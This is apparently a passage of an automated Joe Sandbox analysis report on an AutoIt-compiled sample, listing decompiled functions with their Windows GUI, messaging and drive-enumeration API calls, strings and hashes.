GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0038D4CF
InflateRect.USER32(?,000000FD,000000FD), ref: 0038D4ED
DrawFocusRect.USER32(?,?), ref: 0038D4F8
GetSysColor.USER32(00000011), ref: 0038D506
SetTextColor.GDI32(?,00000000), ref: 0038D50E
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0038D522
SelectObject.GDI32(?,0038D0B5), ref: 0038D539
DeleteObject.GDI32(?), ref: 0038D544
SelectObject.GDI32(?,?), ref: 0038D54A
DeleteObject.GDI32(?), ref: 0038D54F
SetTextColor.GDI32(?,?), ref: 0038D555
SetBkColor.GDI32(?,?), ref: 0038D55F

Strings

@U=u, xrefs: 0038D4A8

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID: @U=u
API String ID: 1996641542-2594219639
Opcode ID: f78c9c672d6dd6adf70fc886666f6ab73c61fda333deb16306da0aaeebb10972
Instruction ID: e1d242fc989bd22e2c9d1290028d605d513deb3215ac1797ce568bb5aa0b04b8
Opcode Fuzzy Hash: f78c9c672d6dd6adf70fc886666f6ab73c61fda333deb16306da0aaeebb10972
Instruction Fuzzy Hash: B8515C71900208BFDF12AFA8DC48EAE7BB9FF09320F214555F912AB6A1D7719940CF50

Function 0036E44C Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 187COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0036E45E
GetDriveTypeW.KERNEL32(?,003BDC88,?,\\.\,003BDBF0), ref: 0036E54B
SetErrorMode.KERNEL32(00000000,003BDC88,?,\\.\,003BDBF0), ref: 0036E6B1

Strings

Unknown, xrefs: 0036E56B, 0036E614
iSCSI, xrefs: 0036E653
ATAPI, xrefs: 0036E622
USB, xrefs: 0036E645
CDROM, xrefs: 0036E57F
FileBackedVirtual, xrefs: 0036E67D
Removable, xrefs: 0036E59D
Fixed, xrefs: 0036E593
RAID, xrefs: 0036E64C
\\.\, xrefs: 0036E4B3
SSA, xrefs: 0036E637
Network, xrefs: 0036E589
SCSI, xrefs: 0036E61B
SSD, xrefs: 0036E5D8
Virtual, xrefs: 0036E676
MMC, xrefs: 0036E66F
ATA, xrefs: 0036E629
RAMDisk, xrefs: 0036E575
Fibre, xrefs: 0036E63E
SATA, xrefs: 0036E661
PhysicalDrive, xrefs: 0036E4EF
SAS, xrefs: 0036E65A
1394, xrefs: 0036E630

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 0230c396855d965e21cda6da60392b8fe7f9e504c537ba784d31f9a08ae60d69
Instruction ID: 72c8ebec1f69e49caa9749e6c9ec4186e0ea7831463cbc085ce984c212fcc4cf
Opcode Fuzzy Hash: 0230c396855d965e21cda6da60392b8fe7f9e504c537ba784d31f9a08ae60d69
Instruction Fuzzy Hash: 76511839218301ABC303DF14E8918AAB794BB55704F51C91BF442AB799DB70DE4DDB53

Function 003248C8 Relevance: 44.2, APIs: 23, Strings: 2, Instructions: 491windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00324956
DeleteObject.GDI32(00000000), ref: 00324998
DeleteObject.GDI32(00000000), ref: 003249A3
DestroyCursor.USER32(00000000), ref: 003249AE
DestroyWindow.USER32(00000000), ref: 003249B9
SendMessageW.USER32(?,00001308,?,00000000), ref: 0039E179
6FB80200.COMCTL32(?,000000FF,?), ref: 0039E1B2
MoveWindow.USER32(00000000,?,?,?,?,00000000), ref: 0039E5E0

Part of subcall function 003249CA: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00324954,00000000), ref: 00324A23

SendMessageW.USER32 ref: 0039E627
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 0039E63E

Strings

0, xrefs: 0039E474
@U=u, xrefs: 0039E179, 0039E280, 0039E55D

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: DestroyMessageSendWindow$DeleteObject$B80200CursorInvalidateMoveRect
String ID: 0$@U=u
API String ID: 295266683-975001249
Opcode ID: e0fc44509f831004280c263088db48a31d78611b1ef8f6fa2f1f382867d6f4f9
Instruction ID: 2283473b8604279f399ca7c6299d90c36b6d0d70a708d15f967fff1a6064fc7d
Opcode Fuzzy Hash: e0fc44509f831004280c263088db48a31d78611b1ef8f6fa2f1f382867d6f4f9
Instruction Fuzzy Hash: A112B030600211EFDF26DF14D884BAABBE9BF06304F154569F59ADB662C731EC85CB91

Function 0038C4F9 Relevance: 44.2, APIs: 23, Strings: 2, Instructions: 447windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013,?,?,?), ref: 0038C598
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0038C64E
SendMessageW.USER32(?,00001102,00000002,?), ref: 0038C669
SendMessageW.USER32(?,000000F1,?,00000000), ref: 0038C925

Strings

@U=u, xrefs: 0038C64E, 0038C669, 0038C7E5, 0038C818, 0038C878, 0038C8C1, 0038C925, 0038C949, 0038C9FD
0, xrefs: 0038C6AC

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0$@U=u
API String ID: 2326795674-975001249
Opcode ID: a9960beaee4c4bd40a960aa1ca2873e0fa468a5c737beaeb125757dc4a2a003f
Instruction ID: 73168b5d01d65823ad4b89fd5e0056efe091affb179f641b42b93355549be6d1
Opcode Fuzzy Hash: a9960beaee4c4bd40a960aa1ca2873e0fa468a5c737beaeb125757dc4a2a003f
Instruction Fuzzy Hash: 56F11571224341AFE717EF24CC84BAABBE8FF49354F081669F589D62A1C774C840CB62

Function 0032C714 Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 245COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0032C741
__wcsnicmp.LIBCMT ref: 0032C759
__wcsnicmp.LIBCMT ref: 0032C771
__wcsnicmp.LIBCMT ref: 0032C789
__wcsnicmp.LIBCMT ref: 0032C7A1
__wcsnicmp.LIBCMT ref: 0032C7B5
__wcsnicmp.LIBCMT ref: 0032C7C9
__wcsnicmp.LIBCMT ref: 0032C7E1
__wcsnicmp.LIBCMT ref: 0032C8B2
__wcsnicmp.LIBCMT ref: 0032C8C6
__wcsnicmp.LIBCMT ref: 0032C8DA
__wcsnicmp.LIBCMT ref: 0032C8EE

Strings

Unterminated group of comments, xrefs: 00393475
#comments-start, xrefs: 0032C7C3, 0032C8AC
#include-once, xrefs: 0032C79B
Cannot parse #include, xrefs: 00393482
#cs, xrefs: 0032C7DB, 0032C8C0
#comments-end, xrefs: 0032C8D4
#requireadmin, xrefs: 0032C76B
#ce, xrefs: 0032C8E8
#pragma compile, xrefs: 0032C73B
#OnAutoItStartRegister, xrefs: 0032C783
#include, xrefs: 0032C7AF
#notrayicon, xrefs: 0032C753
Bad directive syntax error, xrefs: 0039346D

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: a831d89879fc7375970004052c47c3d0cfc2ff2495672755d9c0332ffbfa6a49
Instruction ID: de559b17fecad796c71b2c35817b16565bc0aa4c1d0608b7763b5f20c9cb2944
Opcode Fuzzy Hash: a831d89879fc7375970004052c47c3d0cfc2ff2495672755d9c0332ffbfa6a49
Instruction Fuzzy Hash: 986149716407267BDB23AA29AC82FFF339CEF15744F045025FD42AF582EB60DA41C6A1

Function 00386189 Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 352COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,003BDBF0), ref: 00386245

Strings

UNCHECK, xrefs: 0038649D
SHOWDROPDOWN, xrefs: 003862FC
CURRENTTAB, xrefs: 003862D9
FINDSTRING, xrefs: 00386392
SETCURRENTSELECTION, xrefs: 003863D2
DELSTRING, xrefs: 00386365
SELECTSTRING, xrefs: 00386422
TABLEFT, xrefs: 003862A3
TABRIGHT, xrefs: 003862B9
CHECK, xrefs: 00386487
GETSELECTED, xrefs: 003864BD
GETCURRENTLINE, xrefs: 00386500
GETLINECOUNT, xrefs: 003864E0
SENDCOMMANDID, xrefs: 003865C6
GETLINE, xrefs: 00386587
ISVISIBLE, xrefs: 00386251
GETCURRENTCOL, xrefs: 00386520
ADDSTRING, xrefs: 00386332
GETCURRENTSELECTION, xrefs: 003863FF
EDITPASTE, xrefs: 00386557
ISCHECKED, xrefs: 00386455
ISENABLED, xrefs: 00386288
HIDEDROPDOWN, xrefs: 0038631C

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: BuffCharUpper
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 3964851224-45149045
Opcode ID: 87dc35bb1b0a0a269a260abe9c380b93a8dea9c08a72544c5485f3c222a5bb16
Instruction ID: 1202286106c34a4507f65de4fb96a846419539629366c06c4babfa814ef06b90
Opcode Fuzzy Hash: 87dc35bb1b0a0a269a260abe9c380b93a8dea9c08a72544c5485f3c222a5bb16
Instruction Fuzzy Hash: FFC194352043018FCB0BFF14D452A6E7796AF95354F4448A9F8865F7A6DB31DD0ACB82

Function 0038B4D4 Relevance: 40.6, APIs: 21, Strings: 2, Instructions: 400windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 0038B5C0
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0038B5D1
CharNextW.USER32(0000014E), ref: 0038B600
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 0038B641
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 0038B657
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0038B668
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 0038B685
SetWindowTextW.USER32(?,0000014E), ref: 0038B6D7
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 0038B6ED
SendMessageW.USER32(?,00001002,00000000,?), ref: 0038B71E
_memset.LIBCMT ref: 0038B743
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 0038B78C
_memset.LIBCMT ref: 0038B7EB
SendMessageW.USER32 ref: 0038B815
SendMessageW.USER32(?,00001074,?,00000001), ref: 0038B86D
SendMessageW.USER32(?,0000133D,?,?), ref: 0038B91A
InvalidateRect.USER32(?,00000000,00000001), ref: 0038B93C
GetMenuItemInfoW.USER32(?), ref: 0038B986
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 0038B9B3
DrawMenuBar.USER32(?), ref: 0038B9C2
SetWindowTextW.USER32(?,0000014E), ref: 0038B9EA

Strings

0, xrefs: 0038B95F
@U=u, xrefs: 0038B5C0, 0038B5D1, 0038B606, 0038B685, 0038B6ED, 0038B71E, 0038B78C, 0038B815, 0038B86D, 0038B91A

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0$@U=u
API String ID: 1073566785-975001249
Opcode ID: db22c8aa7f9921e5398c07473fc3a3e91fda645d63399401c4ff6fe9005dcec7
Instruction ID: 01e067ff81ab4ffa06fb2e88d0d4641ec86b4b54e84697be88d2e754d7832e66
Opcode Fuzzy Hash: db22c8aa7f9921e5398c07473fc3a3e91fda645d63399401c4ff6fe9005dcec7
Instruction Fuzzy Hash: BEE15E7590031AABDF22AF51CC84EEEBBB8FF06750F108196F915AB190DB749A41CF60

Function 0038744C Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00387587
GetDesktopWindow.USER32 ref: 0038759C
GetWindowRect.USER32(00000000), ref: 003875A3
GetWindowLongW.USER32(?,000000F0), ref: 00387605
DestroyWindow.USER32(?), ref: 00387631
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 0038765A
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00387678
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 0038769E
SendMessageW.USER32(?,00000421,?,?), ref: 003876B3
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 003876C6
IsWindowVisible.USER32(?), ref: 003876E6
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00387701
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00387715
GetWindowRect.USER32(?,?), ref: 0038772D
MonitorFromPoint.USER32(?,?,00000002), ref: 00387753
GetMonitorInfoW.USER32 ref: 0038776D
CopyRect.USER32(?,?), ref: 00387784
SendMessageW.USER32(?,00000412,00000000), ref: 003877EF

Strings

(, xrefs: 00387762
0, xrefs: 00387532
tooltips_class32, xrefs: 00387653

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 07e17ce091ddb9a7edfc6108eb8b86b6f48ad78353065a80ca34de0ac500dfde
Instruction ID: 7ee4dced330fabf360adac70a530f0121e6a312df8f66900ce94e550dfb57fac
Opcode Fuzzy Hash: 07e17ce091ddb9a7edfc6108eb8b86b6f48ad78353065a80ca34de0ac500dfde
Instruction Fuzzy Hash: 6FB1AF71608300AFDB05EF64D984B6EBBE9FF89310F108A5DF5999B291DB70E805CB91

Function 0033A756 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 285windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0033A839
GetSystemMetrics.USER32(00000007), ref: 0033A841
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0033A86C
GetSystemMetrics.USER32(00000008), ref: 0033A874
GetSystemMetrics.USER32(00000004), ref: 0033A899
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 0033A8B6
AdjustWindowRectEx.USER32(000000FF,00000000,00000000,00000000), ref: 0033A8C6
CreateWindowExW.USER32(00000000,AutoIt v3 GUI,?,00000000,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 0033A8F9
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 0033A90D
GetClientRect.USER32(00000000,000000FF), ref: 0033A92B
GetStockObject.GDI32(00000011), ref: 0033A947
SendMessageW.USER32(00000000,00000030,00000000), ref: 0033A952

Part of subcall function 0033B736: GetCursorPos.USER32(000000FF), ref: 0033B749
Part of subcall function 0033B736: ScreenToClient.USER32(00000000,000000FF), ref: 0033B766
Part of subcall function 0033B736: GetAsyncKeyState.USER32(00000001), ref: 0033B78B
Part of subcall function 0033B736: GetAsyncKeyState.USER32(00000002), ref: 0033B799

SetTimer.USER32(00000000,00000000,00000028,0033ACEE), ref: 0033A979

Strings

@U=u, xrefs: 0033A952
AutoIt v3 GUI, xrefs: 0033A8F1

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: @U=u$AutoIt v3 GUI
API String ID: 1458621304-2077007950
Opcode ID: b5fb1eccd40e11034ae765285b819b9516444378428cdf01076bda286164b7d7
Instruction ID: 1d2993d5144ec636b0a70d5f715da4d9eaccd2a46b0ff08c30339677d05c4fc2
Opcode Fuzzy Hash: b5fb1eccd40e11034ae765285b819b9516444378428cdf01076bda286164b7d7
Instruction Fuzzy Hash: 9FB18E71A0060AEFDB16DFA8CC85BAD7BB8FB08314F114229FA56AB2D0D734D840CB51

Function 0035F898 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 168windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 0035F8AB
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0035F8BD
SetWindowTextW.USER32(?,?), ref: 0035F8D4
GetDlgItem.USER32(?,000003EA), ref: 0035F8E9
SetWindowTextW.USER32(00000000,?), ref: 0035F8EF
GetDlgItem.USER32(?,000003E9), ref: 0035F8FF
SetWindowTextW.USER32(00000000,?), ref: 0035F905
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 0035F926
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 0035F940
GetWindowRect.USER32(?,?), ref: 0035F949
SetWindowTextW.USER32(?,?), ref: 0035F9B4
GetDesktopWindow.USER32 ref: 0035F9BA
GetWindowRect.USER32(00000000), ref: 0035F9C1
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 0035FA0D
GetClientRect.USER32(?,?), ref: 0035FA1A
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 0035FA3F
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 0035FA6A

Strings

@U=u, xrefs: 0035F8BD

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID: @U=u
API String ID: 3869813825-2594219639
Opcode ID: e2ef1639f47b4330fde27e1d6e294c377f44b4463673cd4c9721c49f589d248f
Instruction ID: 7ce1062c8c019e15a042087593fdcc3025a71fe0d5956713e44c4940e799f00e
Opcode Fuzzy Hash: e2ef1639f47b4330fde27e1d6e294c377f44b4463673cd4c9721c49f589d248f
Instruction Fuzzy Hash: B9515F70900709AFDB229FA8CD85FAEBBF9FF04705F014928E596A65B0C774A948CF10

Function 003869C5 Relevance: 28.3, APIs: 2, Strings: 14, Instructions: 281windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00386A52
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00386B12

Strings

VIEWCHANGE, xrefs: 00386CC9
@U=u, xrefs: 00386B12
GETSELECTED, xrefs: 00386C38
FINDITEM, xrefs: 00386C7D
SELECT, xrefs: 00386BA4
ISSELECTED, xrefs: 00386B1D
GETSELECTEDCOUNT, xrefs: 00386AF5
GETSUBITEMCOUNT, xrefs: 00386A9D
GETTEXT, xrefs: 00386ABB
GETITEMCOUNT, xrefs: 00386A80
SELECTALL, xrefs: 00386B71
DESELECT, xrefs: 00386BF8
SELECTINVERT, xrefs: 00386BDA
SELECTCLEAR, xrefs: 00386B89

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: @U=u$DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-1753161424
Opcode ID: 2eafddf313cb417227ada1acba8fc703d7fc716644217507f6509b3865e57ef4
Instruction ID: b0888c839375614208b5a18b81210c036a625c5121af5d22641b038d1d00ce2d
Opcode Fuzzy Hash: 2eafddf313cb417227ada1acba8fc703d7fc716644217507f6509b3865e57ef4
Instruction Fuzzy Hash: 69A160346143019FCB0AFF24C992A6AB3A5FF45354F1488A9F8969F392DB30ED09CB41

Function 0038E541 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 129filecommemoryCOMMON

Download Yara Rule

APIs

